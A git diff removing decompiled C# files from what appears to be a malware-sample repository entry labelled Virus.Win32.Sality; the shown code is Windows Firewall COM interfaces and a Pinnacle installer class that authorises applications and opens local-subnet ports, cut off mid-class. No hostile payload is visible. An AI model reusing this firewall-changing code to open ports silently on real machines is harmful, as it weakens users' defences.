app); - - [DispId(3)] - void Remove([MarshalAs(UnmanagedType.BStr), In] string imageFileName); - - [DispId(4)] - [return: MarshalAs(UnmanagedType.Interface)] - INetFwAuthorizedApplication Item([MarshalAs(UnmanagedType.BStr), In] string imageFileName); - - [TypeLibFunc(1)] - [DispId(-4)] - [return: MarshalAs(UnmanagedType.CustomMarshaler)] - new IEnumerator GetEnumerator(); -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwIcmpSettings.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwIcmpSettings.cs deleted file mode 100644 index 84fa8f26..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwIcmpSettings.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwIcmpSettings -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Runtime.InteropServices; - -[TypeLibType(4160)] -[Guid("A6207B2E-7CDD-426A-951E-5E1CBC5AFEAD")] -[ComImport] -public interface INetFwIcmpSettings -{ - [DispId(1)] - bool AllowOutboundDestinationUnreachable { [DispId(1)] get; [DispId(1)] set; } - - [DispId(2)] - bool AllowRedirect { [DispId(2)] get; [DispId(2)] set; } - - [DispId(3)] - bool AllowInboundEchoRequest { [DispId(3)] get; [DispId(3)] set; } - - [DispId(4)] - bool AllowOutboundTimeExceeded { [DispId(4)] get; [DispId(4)] set; } - - [DispId(5)] - bool AllowOutboundParameterProblem { [DispId(5)] get; [DispId(5)] set; } - - [DispId(6)] - bool AllowOutboundSourceQuench { [DispId(6)] get; [DispId(6)] set; } - - [DispId(7)] - bool AllowInboundRouterRequest { [DispId(7)] get; [DispId(7)] set; } - - [DispId(8)] - bool AllowInboundTimestampRequest { [DispId(8)] get; [DispId(8)] set; } - - [DispId(9)] - bool AllowInboundMaskRequest { [DispId(9)] get; [DispId(9)] set; } - - [DispId(10)] - bool AllowOutboundPacketTooBig { [DispId(10)] get; [DispId(10)] set; } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwMgr.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwMgr.cs deleted file mode 100644 index a455a633..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwMgr.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwMgr -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Runtime.InteropServices; - -[Guid("F7898AF5-CAC4-4632-A2EC-DA06E5111AF2")] -[TypeLibType(4160)] -[ComImport] -public interface INetFwMgr -{ - [DispId(1)] - INetFwPolicy LocalPolicy { [DispId(1)] [return: MarshalAs(UnmanagedType.Interface)] get; } - - [DispId(2)] - NET_FW_PROFILE_TYPE_ CurrentProfileType { [DispId(2)] get; } - - [DispId(3)] - void RestoreDefaults(); - - [DispId(4)] - void IsPortAllowed( - [MarshalAs(UnmanagedType.BStr), In] string imageFileName, - [In] NET_FW_IP_VERSION_ IpVersion, - [In] int portNumber, - [MarshalAs(UnmanagedType.BStr), In] string localAddress, - [In] NET_FW_IP_PROTOCOL_ ipProtocol, - [MarshalAs(UnmanagedType.Struct)] out object allowed, - [MarshalAs(UnmanagedType.Struct)] out object restricted); - - [DispId(5)] - void IsIcmpTypeAllowed( - [In] NET_FW_IP_VERSION_ IpVersion, - [MarshalAs(UnmanagedType.BStr), In] string localAddress, - [In] byte Type, - [MarshalAs(UnmanagedType.Struct)] out object allowed, - [MarshalAs(UnmanagedType.Struct)] out object restricted); -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPort.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPort.cs deleted file mode 100644 index 1c810d2e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPort.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwOpenPort -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Runtime.InteropServices; - -[Guid("E0483BA0-47FF-4D9C-A6D6-7741D0B195F7")] -[TypeLibType(4160)] -[ComImport] -public interface INetFwOpenPort -{ - [DispId(1)] - string Name { [DispId(1)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(1)] set; } - - [DispId(2)] - NET_FW_IP_VERSION_ IpVersion { [DispId(2)] get; [DispId(2)] set; } - - [DispId(3)] - NET_FW_IP_PROTOCOL_ Protocol { [DispId(3)] get; [DispId(3)] set; } - - [DispId(4)] - int Port { [DispId(4)] get; [DispId(4)] set; } - - [DispId(5)] - NET_FW_SCOPE_ Scope { [DispId(5)] get; [DispId(5)] set; } - - [DispId(6)] - string RemoteAddresses { [DispId(6)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(6)] set; } - - [DispId(7)] - bool Enabled { [DispId(7)] get; [DispId(7)] set; } - - [DispId(8)] - bool BuiltIn { [DispId(8)] get; } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPorts.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPorts.cs deleted file mode 100644 index abfb8052..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPorts.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwOpenPorts -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Collections; -using System.Runtime.InteropServices; - -[TypeLibType(4160)] -[Guid("C0E9D7FA-E07E-430A-B19A-090CE82D92E2")] -[ComImport] -public interface INetFwOpenPorts : IEnumerable -{ - [DispId(1)] - int Count { [DispId(1)] get; } - - [DispId(2)] - void Add([MarshalAs(UnmanagedType.Interface), In] INetFwOpenPort Port); - - [DispId(3)] - void Remove([In] int portNumber, [In] NET_FW_IP_PROTOCOL_ ipProtocol); - - [DispId(4)] - [return: MarshalAs(UnmanagedType.Interface)] - INetFwOpenPort Item([In] int portNumber, [In] NET_FW_IP_PROTOCOL_ ipProtocol); - - [DispId(-4)] - [TypeLibFunc(1)] - [return: MarshalAs(UnmanagedType.CustomMarshaler)] - new IEnumerator GetEnumerator(); -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwPolicy.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwPolicy.cs deleted file mode 100644 index 85059cf4..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwPolicy.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwPolicy -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Runtime.InteropServices; - -[TypeLibType(4160)] -[Guid("D46D2478-9AC9-4008-9DC7-5563CE5536CC")] -[ComImport] -public interface INetFwPolicy -{ - [DispId(1)] - INetFwProfile CurrentProfile { [DispId(1)] [return: MarshalAs(UnmanagedType.Interface)] get; } - - [DispId(2)] - [return: MarshalAs(UnmanagedType.Interface)] - INetFwProfile GetProfileByType([In] NET_FW_PROFILE_TYPE_ profileType); -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwProfile.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwProfile.cs deleted file mode 100644 index 873e2210..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwProfile.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwProfile -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Runtime.InteropServices; - -[TypeLibType(4160)] -[Guid("174A0DDA-E9F9-449D-993B-21AB667CA456")] -[ComImport] -public interface INetFwProfile -{ - [DispId(1)] - NET_FW_PROFILE_TYPE_ Type { [DispId(1)] get; } - - [DispId(2)] - bool FirewallEnabled { [DispId(2)] get; [DispId(2)] set; } - - [DispId(3)] - bool ExceptionsNotAllowed { [DispId(3)] get; [DispId(3)] set; } - - [DispId(4)] - bool NotificationsDisabled { [DispId(4)] get; [DispId(4)] set; } - - [DispId(5)] - bool UnicastResponsesToMulticastBroadcastDisabled { [DispId(5)] get; [DispId(5)] set; } - - [DispId(6)] - INetFwRemoteAdminSettings RemoteAdminSettings { [DispId(6)] [return: MarshalAs(UnmanagedType.Interface)] get; } - - [DispId(7)] - INetFwIcmpSettings IcmpSettings { [DispId(7)] [return: MarshalAs(UnmanagedType.Interface)] get; } - - [DispId(8)] - INetFwOpenPorts GloballyOpenPorts { [DispId(8)] [return: MarshalAs(UnmanagedType.Interface)] get; } - - [DispId(9)] - INetFwServices Services { [DispId(9)] [return: MarshalAs(UnmanagedType.Interface)] get; } - - [DispId(10)] - INetFwAuthorizedApplications AuthorizedApplications { [DispId(10)] [return: MarshalAs(UnmanagedType.Interface)] get; } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwRemoteAdminSettings.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwRemoteAdminSettings.cs deleted file mode 100644 index 09b20514..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwRemoteAdminSettings.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwRemoteAdminSettings -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Runtime.InteropServices; - -[Guid("D4BECDDF-6F73-4A83-B832-9C66874CD20E")] -[TypeLibType(4160)] -[ComImport] -public interface INetFwRemoteAdminSettings -{ - [DispId(1)] - NET_FW_IP_VERSION_ IpVersion { [DispId(1)] get; [DispId(1)] set; } - - [DispId(2)] - NET_FW_SCOPE_ Scope { [DispId(2)] get; [DispId(2)] set; } - - [DispId(3)] - string RemoteAddresses { [DispId(3)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(3)] set; } - - [DispId(4)] - bool Enabled { [DispId(4)] get; [DispId(4)] set; } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwService.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwService.cs deleted file mode 100644 index cc1c6d2d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwService.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwService -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Runtime.InteropServices; - -[TypeLibType(4160)] -[Guid("79FD57C8-908E-4A36-9888-D5B3F0A444CF")] -[ComImport] -public interface INetFwService -{ - [DispId(1)] - string Name { [DispId(1)] [return: MarshalAs(UnmanagedType.BStr)] get; } - - [DispId(2)] - NET_FW_SERVICE_TYPE_ Type { [DispId(2)] get; } - - [DispId(3)] - bool Customized { [DispId(3)] get; } - - [DispId(4)] - NET_FW_IP_VERSION_ IpVersion { [DispId(4)] get; [DispId(4)] set; } - - [DispId(5)] - NET_FW_SCOPE_ Scope { [DispId(5)] get; [DispId(5)] set; } - - [DispId(6)] - string RemoteAddresses { [DispId(6)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(6)] set; } - - [DispId(7)] - bool Enabled { [DispId(7)] get; [DispId(7)] set; } - - [DispId(8)] - INetFwOpenPorts GloballyOpenPorts { [DispId(8)] [return: MarshalAs(UnmanagedType.Interface)] get; } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwServices.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwServices.cs deleted file mode 100644 index a3558a15..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwServices.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: INetFwServices -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Collections; -using System.Runtime.InteropServices; - -[TypeLibType(4160)] -[Guid("79649BB4-903E-421B-94C9-79848E79F6EE")] -[ComImport] -public interface INetFwServices : IEnumerable -{ - [DispId(1)] - int Count { [DispId(1)] get; } - - [DispId(2)] - [return: MarshalAs(UnmanagedType.Interface)] - INetFwService Item([In] NET_FW_SERVICE_TYPE_ svcType); - - [DispId(-4)] - [TypeLibFunc(1)] - [return: MarshalAs(UnmanagedType.CustomMarshaler)] - new IEnumerator GetEnumerator(); -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_PROTOCOL_.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_PROTOCOL_.cs deleted file mode 100644 index 471c9770..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_PROTOCOL_.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NET_FW_IP_PROTOCOL_ -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -public enum NET_FW_IP_PROTOCOL_ -{ - NET_FW_IP_PROTOCOL_TCP = 6, - NET_FW_IP_PROTOCOL_UDP = 17, // 0x00000011 -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_VERSION_.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_VERSION_.cs deleted file mode 100644 index 24e1cc00..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_VERSION_.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NET_FW_IP_VERSION_ -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -public enum NET_FW_IP_VERSION_ -{ - NET_FW_IP_VERSION_V4, - NET_FW_IP_VERSION_V6, - NET_FW_IP_VERSION_ANY, - NET_FW_IP_VERSION_MAX, -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_PROFILE_TYPE_.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_PROFILE_TYPE_.cs deleted file mode 100644 index 2d4915dd..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_PROFILE_TYPE_.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NET_FW_PROFILE_TYPE_ -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -public enum NET_FW_PROFILE_TYPE_ -{ - NET_FW_PROFILE_DOMAIN, - NET_FW_PROFILE_STANDARD, - NET_FW_PROFILE_CURRENT, - NET_FW_PROFILE_TYPE_MAX, -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SCOPE_.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SCOPE_.cs deleted file mode 100644 index e2621682..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SCOPE_.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NET_FW_SCOPE_ -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -public enum NET_FW_SCOPE_ -{ - NET_FW_SCOPE_ALL, - NET_FW_SCOPE_LOCAL_SUBNET, - NET_FW_SCOPE_CUSTOM, - NET_FW_SCOPE_MAX, -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SERVICE_TYPE_.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SERVICE_TYPE_.cs deleted file mode 100644 index b2be1fa5..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SERVICE_TYPE_.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NET_FW_SERVICE_TYPE_ -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -public enum NET_FW_SERVICE_TYPE_ -{ - NET_FW_SERVICE_FILE_AND_PRINT, - NET_FW_SERVICE_UPNP, - NET_FW_SERVICE_REMOTE_DESKTOP, - NET_FW_SERVICE_NONE, - NET_FW_SERVICE_TYPE_MAX, -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/FirewallConfig/WinXPFirewall.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/FirewallConfig/WinXPFirewall.cs deleted file mode 100644 index 15ba4648..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/FirewallConfig/WinXPFirewall.cs +++ /dev/null @@ -1,134 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PinnacleSys.FirewallConfig.WinXPFirewall -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System; -using System.Collections; - -namespace PinnacleSys.FirewallConfig -{ - public class WinXPFirewall - { - private INetFwMgr m_Mgr = (INetFwMgr) null; - - public WinXPFirewall() - { - try - { - this.m_Mgr = (INetFwMgr) Activator.CreateInstance(Type.GetTypeFromProgID("hnetcfg.fwmgr")); - } - catch (Exception ex) - { - } - } - - public bool Available => this.m_Mgr != null; - - public bool AddApp( - string AppName, - string ProcessImageFileName, - bool bEnable, - NET_FW_SCOPE_ scope) - { - bool flag = false; - try - { - INetFwAuthorizedApplication instance = (INetFwAuthorizedApplication) Activator.CreateInstance(Type.GetTypeFromProgID("hnetcfg.fwauthorizedapplication")); - instance.Name = AppName; - instance.ProcessImageFileName = ProcessImageFileName; - instance.Enabled = bEnable; - instance.Scope = scope; - this.m_Mgr.LocalPolicy.CurrentProfile.AuthorizedApplications.Add(instance); - flag = true; - } - catch - { - } - return flag; - } - - public bool AddPort( - int port, - NET_FW_IP_PROTOCOL_ protocol, - string name, - bool enable, - bool local) - { - try - { - INetFwOpenPort port1 = this.GetPort(port, protocol); - if (port1 != null) - { - port1.Enabled = enable; - port1.Scope = NET_FW_SCOPE_.NET_FW_SCOPE_LOCAL_SUBNET; - return true; - } - INetFwOpenPort instance = (INetFwOpenPort) Activator.CreateInstance(Type.GetTypeFromProgID("hnetcfg.FwOpenPort")); - instance.Enabled = enable; - instance.Scope = NET_FW_SCOPE_.NET_FW_SCOPE_LOCAL_SUBNET; - instance.Name = name; - instance.Port = port; - instance.Protocol = protocol; - this.m_Mgr.LocalPolicy.CurrentProfile.GloballyOpenPorts.Add(instance); - return true; - } - catch (Exception ex) - { - return false; - } - } - - public bool RemovePort(int port, NET_FW_IP_PROTOCOL_ protocol) - { - try - { - this.m_Mgr.LocalPolicy.CurrentProfile.GloballyOpenPorts.Remove(port, protocol); - return true; - } - catch (Exception ex) - { - return false; - } - } - - public bool IsPortEnabled(int port, NET_FW_IP_PROTOCOL_ protocol) - { - INetFwOpenPort port1 = this.GetPort(port, protocol); - return port1 != null && port1.Enabled; - } - - public INetFwOpenPort GetPort(int port, NET_FW_IP_PROTOCOL_ protocol) - { - INetFwProfile currentProfile = this.m_Mgr.LocalPolicy.CurrentProfile; - IEnumerator enumerator1 = currentProfile.GloballyOpenPorts.GetEnumerator(); - INetFwOpenPort port1 = this.__GetPort(port, protocol, enumerator1); - if (port1 != null) - return port1; - foreach (INetFwService service in currentProfile.Services) - { - IEnumerator enumerator2 = service.GloballyOpenPorts.GetEnumerator(); - INetFwOpenPort port2 = this.__GetPort(port, protocol, enumerator2); - if (port2 != null) - return port2; - } - return (INetFwOpenPort) null; - } - - private INetFwOpenPort __GetPort( - int port, - NET_FW_IP_PROTOCOL_ protocol, - IEnumerator iter) - { - iter.Reset(); - while (iter.MoveNext()) - { - INetFwOpenPort current = (INetFwOpenPort) iter.Current; - if (current.Port == port && current.Protocol == protocol) - return current; - } - return (INetFwOpenPort) null; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.cs deleted file mode 100644 index 2ee8dea8..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.cs +++ /dev/null @@ -1,288 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PinnacleSys.MediaServer.MainForm -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using PinnacleSys.FirewallConfig; -using System; -using System.Collections; -using System.ComponentModel; -using System.Drawing; -using System.IO; -using System.Text; -using System.Windows.Forms; - -namespace PinnacleSys.MediaServer -{ - public class MainForm : Form - { - private IPMediaServerProxy m_MediaServerProxy = (IPMediaServerProxy) null; - private DateTime m_FailTime; - private Timer m_Timer = new Timer(); - private bool m_ScanSubfolder = false; - private bool m_Relative = false; - private string m_RelativRoot = (string) null; - private ArrayList m_ImportFolders = new 